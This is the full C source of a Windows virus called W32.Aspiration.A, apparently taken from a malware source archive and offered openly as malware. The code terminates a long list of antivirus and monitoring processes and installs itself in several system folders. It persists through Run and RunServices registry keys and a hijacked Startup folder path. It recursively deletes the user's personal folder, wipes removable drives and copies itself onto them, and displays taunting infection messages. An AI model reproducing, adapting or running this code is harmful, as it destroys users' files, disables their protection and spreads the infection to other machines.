|| Author: SkyOut/EOF || Back to sources || View project folder ||
/*
Payload of W32.Aspiration.A:

- Kills AV processes
- Copies to 4 different locations on PC and writes to Autostart with different ways
- Creates two text files and two HTML files and executes Notepad and IE to show them to the user
- Deletes personal folder
- Copies to USB flash drives (if connected) and deletes the files being saved on them
- ... Some other little things ...

#########################################################################
#########################################################################

	Author: SkyOut

	Compiled with: -> Visual C++ 2005 Express Edition
				   -> Microsoft PSDK for Windows Server 2003 R2

	Finished: 11th July 2006 - 21:30 - GMT +01:00

*/

/* Defining Windows Version being WindowsXP (0x0501) */
#define _WIN32_WINNT 0x0501

/* All needed header files */
#include <windows.h>
#include <tlhelp32.h>
#include <shlobj.h>
#include <stdio.h>
#include <sys/stat.h>
#include <devguid.h>
#include <regstr.h>
#include <setupapi.h>
#include <tchar.h>
#include <shellapi.h>

/* The first text file (for the user) */
char szTextFile1[] = " \
W32.ASPIRATION.A\r\n \
#################################################################\r\n \
-\r\n \
Your computer has been infected by the aspiration virus...\r\n \
-\r\n \
It's up to you to decide what to do, but it's too late, I don't care what you do now...\r\n \
-\r\n \
I have installed myself on the system...\r\n \
-\r\n \
I have destroyed your files and I will go on doing it...\r\n \
-\r\n \
The only sense in my life is to make yours a hell...";

/* The second text file (for the AV guys) */
char szTextFile2[] = " \
TO ALL THOSE ANTIVIRUS AND SECURITY COMPANIES\r\n \
---------------------------------------------\r\n \
\r\n \
You can't stop us, you can't fight all of us!\r\n \
We will win, we will stay, we will go on!\r\n \
Give up or die, we will survive, you won't!\r\n \
FUCK YOU AND GOOD BYE!";

/* The first html file (for the user) */
char szHTMLFile1[] = " \
				  <html>\r\n \
				  <head><title>- - - W32.Aspiration.A - - -</title></head>\r\n \
				  <body text=\"#00FF00\" bgcolor=\"#000000\">\r\n \
				  <h1 align=\"center\">Your computer has been infected by the aspiration virus...</h1>\r\n \
				  <h1 align=\"center\">It's up to you to decide what to do, but it's too late, I don't care what you do now...</h1>\r\n \
				  <h1 align=\"center\">I have installed myself on the system....</h1>\r\n \
				  <h1 align=\"center\">I have destroyed your files and I will go on doing it...</h1>\r\n \
				  <h1 align=\"center\">The only sense in my life is to make yours a hell...</h1>\r\n \
				  <br>\r\n \
				  <br>\r\n \
				  <hr>\r\n \
				  <h1 align=\"center\"><font color=\"#FF0000\">W32.ASPIRATION.A</font></h1>\r\n \
				  </body>\r\n \
				  </html>\r\n";

/* The second html file (for the AV guys)*/
char szHTMLFile2[] = " \
				   <html>\r\n \
				   <head><title>--- TO THE AV COMPANIES OUT THERE ---</title></head>\r\n \
				   <body text=\"#00FF00\" bgcolor=\"#000000\">\r\n \
				   <h1 align=\"center\">THIS PC IS INFECTED</h1>\r\n \
				   <h1 align=\"center\">A STORM OF INFECTIONS WILL FOLLOW</h1>\r\n \
				   <h1 align=\"center\">FUCK OFF - YOU CAN NOT STOP THIS</h1>\r\n \
				   </body>\r\n \
				   </html>";

/* Process list of most AV products - Thanks to Hutley/RRLF */
char *AVProcessList[] = {"avp32.exe", "avpmon.exe", "zonealarm.exe", "vshwin32.exe", "vet95.exe",
    "tbscan.exe", "serv95.exe", "Nspclean.exe", "clrav.com", "scan32.exe",
    "rav7.exe", "navw.exe", "outpost.exe", "nmain.exe", "navnt.exe",
    "mpftray.exe", "lockdown2000.exe", "icssuppnt.exe", "icload95.exe", "iamapp.exe",
    "findviru.exe", "f - agnt95.exe", "dv95.exe", "dv95_o.exe", "claw95ct.exe",
    "cfiaudit.exe", "avwupd32.exe", "avptc32.exe", "_avp32.exe", "avgctrl.exe",
    "apvxdwin.exe", "_avpcc.exe", "avpcc.exe", "wfindv32.exe", "vsecomr.exe",
    "tds2 - nt.exe", "sweep95.exe", "EFINET32.EXE", "scrscan.exe", "safeweb.exe",
    "persfw.exe", "navsched.exe", "nvc95.exe", "nisum.exe", "navlu32.exe",
    "ALOGSERV", "AMON9X", "AVGSERV9", "AVGW", "avkpop",
    "avkservice", "AvkServ", "avkwctl9", "AVXMONITOR9X", "AVXMONITORNT",
    "AVXQUAR", "moolive.exe", "jed.exe", "icsupp95.exe", "ibmavsp.exe",
    "frw.exe", "f - stopw.exe", "espwatch.exe", "procexp", "filemon.exe",
    "regmon.exe", "dvp95.exe", "cfiadmin.exe", "avwin95.exe", "avpm.exe",
    "avp.exe", "ave32.exe", "anti - trojan.exe", "webscan.exe", "webscanx.exe",
    "vsscan40.exe", "tds2 - 98. exe", "SymProxySvc", "SYMTRAY", "TAUMON",
    "TCM", "TDS - 3 ", "TFAK", "vbcmserv", "VbCons",
    "VIR - HELP", "VPC32", "VPTRAY", "VSMAIN", "vsmon",
    "WIMMUN32", "WGFE95", "WEBTRAP", "WATCHDOG", "WrAdmin",
    "sphinx.exe", "scanpm.exe", "rescue.exe", "pcfwallicon.exe", "pavcl.exe",
    "nupgrade.exe", "navwnt.exe", "navapw32.exe", "luall.exe", "iomon98.exe",
    "icmoon.exe", "fprot.exe", "f - prot95.exe", "esafe.exe", "cleaner3.exe",
    "IBMASN.EXE", "AVXW", "cfgWiz", "CMGRDIAN", "CONNECTIONMONITOR",
    "CPDClnt", "DEFWATCH", "CTRL", "defalert", "defscangui",
    "DOORS", "EFPEADM", "ETRUSTCIPE", "EVPN", "EXPERT",
    "fameh32", "fch32", "fih32", "blackice.exe", "avsched32.exe",
    "avpdos32.exe", "avpnt.exe", "avconsol.exe", "ackwin32.exe", "NWTOOL16",
    "pccwin97", "PROGRAMAUDITOR", "POP3TRAP", "PROCESSMONITOR", "PORTMONITOR",
    "POPROXY", "pcscan", "pcntmon", "pavproxy", "PADMIN",
    "pview95", "rapapp.exe", "REALMON", "RTVSCN95", "vsstat.exe",
    "vettray.exe", "tca.exe", "smc.exe", "scan95.exe", "rav7win.exe",
    "pccwin98.exe", "KPFW32.EXE", "ADVXDWIN", "padmin.exe", "normist.exe",
    "navw32.exe", "n32scan.exe", "lookout.exe", "iface.exe", "icloadnt.exe",
    "SPYXX", "SS3EDIT", "SweepNet", "iamserv.exe", "fp - win.exe",
    "f - prot.exe", "ecengine.exe", "cleaner.exe", "cfind.exe", "blackd.exe",
    "RULAUNCH", "sbserv", "SWNETSUP", "WrCtrl", "avpupd.exe",
    "avkserv.exe", "autodown.exe", "_avpm.exe", "AvpM.exe", "regedit.exe",
    "msconfig.exe", "FPROT95.EXE", "IBMASN.EXE", "sfc.exe", "regedt32.exe",
    "offguard.exe", "pav.exe", "pavmail.exe", "per.exe", "perd.exe",
    "pertsk.exe", "perupd.exe", "pervac.exe", "pervacd.exe", "th.exe",
    "th32.exe", "th32upd.exe", "thav.exe", "thd.exe", "thd32.exe",
    "thmail.exe", "alertsvc.exe", "amon.exe", "kpf.exe", "antivir",
    "avsynmgr.exe", "cfinet.exe", "cfinet32.exe", "icmon.exe", "lockdownadvanced.exe",
    "lucomserver.exe", "mcafee", "navapsvc.exe", "navrunr.exe", "nisserv.exe",
    "nsched32.exe", "pcciomon.exe", "pccmain.exe", "pview95.exe", "Avnt.exe",
    "Claw95cf.exe", "Dvp95_0.exe", "Vscan40.exe", "Icsuppnt.exe", "Jedi.exe",
    "N32scanw.exe", "Pavsched.exe", "Pavw.exe", "Avrep32.exe", "Monitor.exe",
    "fsgk32", "fsm32", "fsma32", "fsmb32", "gbmenu",
    "GBPOLL", "GENERICS", "GUARD", "IAMSTATS", "ISRV95",
    "LDPROMENU", "LDSCAN", "LUSPT", "MCMNHDLR", "MCTOOL",
    "MCUPDATE", "MCVSRTE", "MGHTML", "MINILOG", "MCVSSHLD",
    "MCAGENT", "MPFSERVICE", "MWATCH", "NeoWatchLog", "NVSVC32",
    "NWService", "NTXconfig", "NTVDM", "ntrtscan", "npssvc",
    "npscheck", "netutils", "ndd32", "NAVENGNAVEX15", "notstart.exe",
    "zapro.exe", "pqremove.com", "BullGuard", "CCAPP.EXE", "vet98.exe",
    "VET32.EXE", "VCONTROL.EXE", "claw95.exe", "ANTS", "ATCON",
    "ATUPDATER", "ATWATCH", "AutoTrace", "AVGCC32", "AvgServ",
    "AVWINNT", "fnrb32", "fsaa", "fsav32", "ZAP.EXE",
    "ZAPD.EXE", "ZAPPRG.EXE", "ZAPS.EXE", "ZCAP.EXE", "pfwagent.exe",
	"pfwcon.exe", "zlclient.exe", 0};

/* Going through the array of processes and comparing the names with running processes, if
it matches, the process will be terminated */
void KillProcess(char *AVProcessList)
{
	HANDLE hProcSnap;
	HANDLE hProc;
	PROCESSENTRY32 pe32;

	pe32.dwSize = sizeof(PROCESSENTRY32);
	hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	Process32First(hProcSnap, &pe32);

	do
	{
		hProc = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID);
		if(strcmp(pe32.szExeFile, AVProcessList)==0)
		{
			TerminateProcess(hProc, 0);
			CloseHandle(hProc);
		}
		CloseHandle(hProc);

	}while (Process32Next(hProcSnap, &pe32));
}

/* Deleting a directory given to this function recursively */
BOOL DeleteDirectoryRecursive(char *szPathToDelete) 
{
	HANDLE hFind;
    WIN32_FIND_DATA w32FD;
    char szFileName[MAX_PATH];
 
    strcpy_s(szFileName, sizeof(szFileName), szPathToDelete);
    strcat_s(szFileName, sizeof(szFileName), "\\*");

    hFind = FindFirstFile(szFileName, &w32FD);

	/* As long as files and folders are found in a directory do this */	
	do
	{
		/* Go on when the file name is NOT " . " and " .. " */
		if (!((strcmp((char*) w32FD.cFileName, ".") && strcmp((char*) w32FD.cFileName, ".."))))
		{
			continue;
		}

		((strcpy_s(szFileName, sizeof(szFileName), szPathToDelete)) & (strcat_s(szFileName, sizeof(szFileName), "\\")));
        strcat_s(szFileName, sizeof(szFileName), w32FD.cFileName);

		/* If the folder is a directoy than remove it or stop if it does'nt work */
        if(w32FD.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) 
		{
            if(!DeleteDirectoryRecursive(szFileName)) 
			{ 
                FindClose(hFind); 
                return 0; 
            }
            RemoveDirectory(szFileName);
        }
        else 
		{
			/* If the file we want to delete is readonly change file attributes, so we can delete it */
            if(w32FD.dwFileAttributes & FILE_ATTRIBUTE_READONLY)
			{
                _chmod(szFileName, _S_IWRITE);
			}

			/* Delete the file or stop if it doesnt work */
            if(!DeleteFile(szFileName)) 
			{  
                FindClose(hFind); 
                return 0; 
			}
		}
	}while(FindNextFile(hFind, &w32FD));
	FindClose(hFind);

	/* Remove the whole directory now */
	RemoveDirectory(szPathToDelete);
	return 1;
}

/* Check the registry for a special value telling us if the computer is infected */
BOOL TestIfInfected()
{
	HKEY hKey;
	char szBuf[MAX_PATH];
	DWORD dwBufLength = sizeof(szBuf);

	RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Aspiration", 0, KEY_QUERY_VALUE, &hKey);
	RegQueryValueEx(hKey, "infected", 0, NULL, szBuf, &dwBufLength);
	RegCloseKey(hKey);

	/* Check for "HKEY_LOCAL_MACHINE\Software\Aspiration\infected" = "infected" */
	if (szBuf[0]!='i' || szBuf[1]!='n' || szBuf[3]!='f' || szBuf[4]!='e' || szBuf[5]!='c' || szBuf[6]!='t' || szBuf[7]!='e' || szBuf[8]!='d')
	{
		return -1;
	}
	else
	{
		return 0;
	}
}

/* Write the key into the registry showing us that the computer is infected with the virus now */
void Infect(void)
{
	HKEY hKey;
	char szInfected[] = "infected";

	RegCreateKey(HKEY_LOCAL_MACHINE, "Software\\Aspiration", &hKey);
	RegSetValueEx(hKey, "infected", 0, REG_SZ, szInfected, sizeof(szInfected));
	RegCloseKey(hKey);
}

/* 
Copying to several locations on the computer:
-> %windir%\system32\aspiration.exe
-> %windir%\aspiration.exe
-> %windir%\system32\Hell\aspiration.exe
-> %windir%\Hell\aspiration.exe

Writing to several registry keys: HKEY_LOCAL_MACHINE and HKEY_CURRENT_USER:
(Creating keys if necessary)
->Software\\Microsoft\\Windows\\CurrentVersion\\Run
->Software\\Microsoft\\Windows\\CurrentVersion\\RunServices
->Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders
*/
void InfRegCopy(void)
{
	HKEY hKey;
	HMODULE Mod;
	HANDLE hFile;
	char szSysDir[MAX_PATH];
	char szWinDir[MAX_PATH];
	char szSysDir2[MAX_PATH];
	char szWinDir2[MAX_PATH];
	char szSysDir2File[MAX_PATH];
	char szWinDir2File[MAX_PATH];
	char szVirusPath[MAX_PATH];

	Mod = GetModuleHandle(NULL);
	GetModuleFileName(Mod, szVirusPath, sizeof(szVirusPath));

	GetSystemDirectory(szSysDir, sizeof(szSysDir));
	GetWindowsDirectory(szWinDir, sizeof(szWinDir));
	GetSystemDirectory(szSysDir2, sizeof(szSysDir2));
	GetWindowsDirectory(szWinDir2, sizeof(szWinDir2));
	GetSystemDirectory(szSysDir2File, sizeof(szSysDir2File));
	GetWindowsDirectory(szWinDir2File, sizeof(szWinDir2File));

	strcat_s(szSysDir, MAX_PATH, "\\aspiration.exe");
	strcat_s(szWinDir, MAX_PATH, "\\aspiration.exe");
	strcat_s(szSysDir2, MAX_PATH, "\\Hell");
	strcat_s(szWinDir2, MAX_PATH, "\\Hell");
	strcat_s(szSysDir2File, MAX_PATH, "\\Hell\\aspiration.exe");
	strcat_s(szWinDir2File, MAX_PATH, "\\Hell\\aspiration.exe");

	CreateDirectory(szSysDir2, NULL);
	CreateDirectory(szWinDir2, NULL);

	/* Copy to the locations on the victims computer */
	CopyFile(szVirusPath, szSysDir, FALSE);
	CopyFile(szVirusPath, szWinDir, FALSE);
	CopyFile(szVirusPath, szSysDir2File, FALSE);
	CopyFile(szVirusPath, szWinDir2File, FALSE);

	/* Create the registry keys to make sure that they exist when writing to them */
	RegCreateKey(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &hKey);
	RegCreateKey(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\RunServices", &hKey);

	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &hKey);
	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\RunServices", &hKey);

	RegCreateKey(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders", &hKey);
	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders", &hKey);

	/* Write all the necessary registry keys making our virus start (several times) every login of the user */
	RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
	RegSetValueEx(hKey, "aspiration", 0, REG_SZ, szSysDir, sizeof(szSysDir));
	RegSetValueEx(hKey, "destiny", 0, REG_SZ, szWinDir, sizeof(szWinDir));
	RegCloseKey(hKey);

	RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
	RegSetValueEx(hKey, "aspiration", 0, REG_SZ, szSysDir, sizeof(szSysDir));
	RegSetValueEx(hKey, "destiny", 0, REG_SZ, szWinDir, sizeof(szWinDir));
	RegCloseKey(hKey);

	RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
	RegSetValueEx(hKey, "suicide", 0, REG_SZ, szSysDir2File, sizeof(szSysDir2File));
	RegSetValueEx(hKey, "carnage", 0, REG_SZ, szWinDir2File, sizeof(szWinDir2File));
	RegCloseKey(hKey);

	RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
	RegSetValueEx(hKey, "suicide", 0, REG_SZ, szSysDir2File, sizeof(szSysDir2File));
	RegSetValueEx(hKey, "carnage", 0, REG_SZ, szWinDir2File, sizeof(szWinDir2File));
	RegCloseKey(hKey);

	RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\RunServices", 0, KEY_SET_VALUE, &hKey);
	RegSetValueEx(hKey, "aspiration", 0, REG_SZ, szSysDir, sizeof(szSysDir));
	RegSetValueEx(hKey, "destiny", 0, REG_SZ, szWinDir, sizeof(szWinDir));
	RegCloseKey(hKey);

	RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\RunServices", 0, KEY_SET_VALUE, &hKey);
	RegSetValueEx(hKey, "suicide", 0, REG_SZ, szSysDir2File, sizeof(szSysDir2File));
	RegSetValueEx(hKey, "carnage", 0, REG_SZ, szWinDir2File, sizeof(szWinDir2File));
	RegCloseKey(hKey);

	/* Interesting here: Set the startup folder value to a folder we created and where our virus has been copied to */
	RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders", 0, KEY_SET_VALUE, &hKey);
	RegSetValueEx(hKey, "Common Startup", 0, REG_SZ, szSysDir2, sizeof(szSysDir2));
	RegCloseKey(hKey);

	RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders", 0, KEY_SET_VALUE, &hKey);
	RegSetValueEx(hKey, "Startup", 0, REG_SZ, szWinDir2, sizeof(szWinDir2));
	RegCloseKey(hKey);
}

/* Writing the two text files and saving them to the program files folder */
void WriteLetters(void)
{
	HANDLE hFile;
	char szProgramFiles[MAX_PATH];
	DWORD dwNumberOfBytesWritten;

	SHGetFolderPath(NULL, CSIDL_PROGRAM_FILES, NULL, SHGFP_TYPE_CURRENT, szProgramFiles);

	chdir(szProgramFiles);

	hFile = CreateFile("ASPIRATION_INFECTION.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	WriteFile(hFile, szTextFile1, sizeof(szTextFile1), &dwNumberOfBytesWritten, NULL); 
	CloseHandle(hFile);

	hFile = CreateFile("FOR_AV_SECURITY_COMPANIES.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	WriteFile(hFile, szTextFile2, sizeof(szTextFile2), &dwNumberOfBytesWritten, NULL); 
	CloseHandle(hFile);
}

/* Writing the two html files and saving them to %windir%\system32 and %windir% */
void WriteHTML(void)
{
	HANDLE hFile;
	char szSysDir[MAX_PATH];
	char szWinDir[MAX_PATH];
	DWORD dwNumberOfBytesWritten;

	GetSystemDirectory(szSysDir, sizeof(szSysDir));
	GetWindowsDirectory(szWinDir, sizeof(szWinDir));

	chdir(szSysDir);

	hFile = CreateFile("ASPIRATION_INFECTION.html", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	WriteFile(hFile, szHTMLFile1, sizeof(szHTMLFile1), &dwNumberOfBytesWritten, NULL); 
	CloseHandle(hFile);

	chdir(szWinDir);

	hFile = CreateFile("ASPIRATION_INFECTION.html", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	WriteFile(hFile, szHTMLFile2, sizeof(szHTMLFile2), &dwNumberOfBytesWritten, NULL); 
	CloseHandle(hFile);
}

/* An array of possible drive letter, not including " a: " and " b: " as they could be a floppy drive, which we don't like to have */
char *drives[] =  {"c:", "d:", "e:", "f:", "g:", "h:", "i:", "j:", "k:", "l:",
                   "m:", "n:", "o:", "p:", "q:", "r:", "s:", "t:", "u:", "v:", "w:", "x:",
                   "y:", "z:", 0};

/* Test the computer for a connected USB flash drive by using the array above */
BOOL IsItUSB(char *drives)
{
	UINT drType = GetDriveType(drives);

	if (drType == DRIVE_REMOVABLE)
	{
		return 1;
	}
	return 0;
}

/* ############################################################################################### */
/* --- --- MAIN CODE NOW --- --- MAIN CODE NOW --- --- MAIN CODE NOW --- --- MAIN CODE NOW --- --- */
/* ############################################################################################### */

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
	BOOL bInfected;
	char szPersonalFolderPath[MAX_PATH];
	char szProgramFilesPath[MAX_PATH];
	char szSysDirHTML[MAX_PATH];
	char szWinDirHTML[MAX_PATH];
	char szFileTXT1[MAX_PATH];
	char szFileTXT2[MAX_PATH];
	int i;

	/* Kill all the processes of the array " AVProcessList " */
	for (i = 0; AVProcessList[i]; i++)
	{
		KillProcess(AVProcessList[i]);
	}

	/* Test if the computer is infected with our virus */
	bInfected = TestIfInfected();

	/* If the computer is not infected -> infect it and write all the necessary files and registry keys */
	if (bInfected = -1)
	{
		Infect();
		InfRegCopy();
		WriteLetters();
		WriteHTML();

		GetSystemDirectory(szSysDirHTML, sizeof(szSysDirHTML));
		GetWindowsDirectory(szWinDirHTML, sizeof(szWinDirHTML));

		strcat_s(szSysDirHTML, MAX_PATH, "\\ASPIRATION_INFECTION.html");
		strcat_s(szWinDirHTML, MAX_PATH, "\\ASPIRATION_INFECTION.html");

		SHGetFolderPath(NULL, CSIDL_PROGRAM_FILES, NULL, SHGFP_TYPE_CURRENT, szProgramFilesPath);

		strcpy_s(szFileTXT1, MAX_PATH, szProgramFilesPath);
		strcpy_s(szFileTXT2, MAX_PATH, szProgramFilesPath);
		strcat_s(szFileTXT1, MAX_PATH, "\\ASPIRATION_INFECTION.txt");
		strcat_s(szFileTXT2, MAX_PATH, "\\FOR_AV_SECURITY_COMPANIES.txt");

		/* Use Internet Explorer to open the two html files */
		ShellExecute(NULL, "open", "IExplore.exe", szSysDirHTML, NULL, SW_MAXIMIZE);
		ShellExecute(NULL, "open", "IExplore.exe", szWinDirHTML, NULL, SW_MAXIMIZE);
	
		/* Use Notepad to open the two text files */
		ShellExecute(NULL, "open", "notepad.exe", szFileTXT1 ,NULL, SW_SHOWNORMAL);
		ShellExecute(NULL, "open", "notepad.exe", szFileTXT2 ,NULL, SW_SHOWNORMAL);
	}

	/* ############################################################### */
	/* --- ---- EVERYTHING BELOW THIS LINE IS DESTRUCTIVE CODE --- --- */
	/* ############################################################### */

	SHGetFolderPath(NULL, CSIDL_PERSONAL, NULL, SHGFP_TYPE_CURRENT, szPersonalFolderPath);

	/* Delete all files and folders recursively in personal folder */
	DeleteDirectoryRecursive(szPersonalFolderPath);

	/*
	If a USB flash drive is connected to the computer:
	->Delete files and folders recursively
	->Copy virus to the drive
	->Copy the two text files to the drive
	*/
	for(i = 0; drives[i]; i++)
	{	
		HANDLE hFile;
		HMODULE Mod;
		char szUSBPath[MAX_PATH];
		char szVirusPath[MAX_PATH];
		DWORD dwNumberOfBytesWritten;

		Mod = GetModuleHandle(NULL);
		GetModuleFileName(Mod, szVirusPath, sizeof(szVirusPath));

		if (IsItUSB(drives[i]) == 1)
		{
			DeleteDirectoryRecursive(drives[i]);

			strcpy_s(szUSBPath, MAX_PATH, drives[i]);
			strcat_s(szUSBPath, MAX_PATH, "\\aspiration.exe");
			CopyFile(szVirusPath, szUSBPath, FALSE);

			strcpy_s(szUSBPath, MAX_PATH, drives[i]);
			strcat_s(szUSBPath, MAX_PATH, "\\ASPIRATION_INFECTION.txt");

			hFile = CreateFile(szUSBPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
			WriteFile(hFile, szTextFile1, sizeof(szTextFile1), &dwNumberOfBytesWritten, NULL); 
			CloseHandle(hFile);

			strcpy_s(szUSBPath, MAX_PATH, drives[i]);
			strcat_s(szUSBPath, MAX_PATH, "\\FOR_AV_SECURITY_COMPANIES.txt");

			hFile = CreateFile(szUSBPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
			WriteFile(hFile, szTextFile2, sizeof(szTextFile2), &dwNumberOfBytesWritten, NULL); 
			CloseHandle(hFile);
		}
	}
}